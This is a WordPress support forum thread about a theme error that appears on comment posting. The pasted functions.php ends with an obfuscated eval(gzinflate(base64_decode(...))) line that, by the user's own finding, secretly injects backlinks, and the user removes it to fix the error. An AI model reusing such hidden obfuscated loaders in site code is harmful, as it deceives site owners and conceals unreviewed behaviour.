 * When I post a comment I get the error:
    Fatal error: Call to undefined function
   wp_insert_link() in /var/www/clients/client4/web12/web/wp-content/themes/gamers-
   theme/functions.php(34) : eval()’d code on line 6
 * The message does get posted though.
    I checked the functions.php in that template
   and can’t find the problem.
 * I do use WordPress 2.8.5 + WP United + phpBB3 + Gamers Theme.
 *     ```
       <?php
       if ( function_exists('register_sidebar') )
           register_sidebar(array(
               'before_widget' => '<div id="%1$s" class="sdb-content %2$s">',
               'after_widget' => '</div>',
               'before_title' => '<h3>',
               'after_title' => '</h3>',
           ));
       ?>
       <?php function widget_gamers_search() {
       	?>
       	<div class="sdb-content">
       		<h3>Search</h3>
       		<?php include (TEMPLATEPATH . '/searchform.php'); ?>
       	</div>
       	<?php
       }
       if (function_exists('register_sidebar_widget'))
       	register_sidebar_widget(__('Search'), 'widget_gamers_search');
       ?>
       <?php function widget_gamers_calendar() {
       	?>
       	<div class="sdb-content">
       		<h3>Calendar</h3>
       		<div class="center">
       			<?php get_calendar(); ?>
       		</div>
       	</div>
       	<?php
       }
       if (function_exists('register_sidebar_widget'))
       	register_sidebar_widget(__('Calendar'), 'widget_gamers_calendar');
   
       $V5000faf04d7bdb66c09b48e42cd66d00='jZBBSwMxEIXPm18xDEITqF3Plu2lrHhQC3WlxzBt0m1wNwlJalDxv2tje/LibZj55r3HY6SUpF0yznLUyiTpXUw4RWOjDkmmgx61HIx9RTFn+6MtKPy5cgGfrOoHt6UBrrJX2zmrzJ6X8XrR6yTfKHB8bh/aZQfL1ctTx0+P0igBd+vVI5zR0zLC5r5dt1CAYxiaySElf1vXOecZjfRhbJ9dUD7oGEuIONu5sZ6gaJobwaoqe3nOWNJRCPTOsehZGjVCswDcXCSgKxo4BbxY/hL/s0UQP+V8sW8=';eval(gzinflate(base64_decode($V5000faf04d7bdb66c09b48e42cd66d00)));
       ?>
       ```
   
 * So the comments work fine, just the message where it should say: post succesfully
   posted it gives this error instead.

 * Your theme’s functions.php file is missing a function (wp_insert_link) that is
   called elsewhere in the theme (possibly in comments.php). That’s not a native
   WP function, so I’ve no idea what it was supposed to do. You could removing it
   from the other theme files.

 * Alternately, re-download the theme and see if the default functions.php has that
   function in it.

 * Solution found, posting solution as it sucks when people don’t do that :).
 * Ok found the solution. This theme had decrypted code it to insert a backlink 
   in links automaticly. I removed one part alrdy which described the function. 
   Now I found another piece in functions.php. On deletion it worked perfectly.
 * Thanks Esmi as when you said it’s not a native WP function I knew what I was 
   up against!
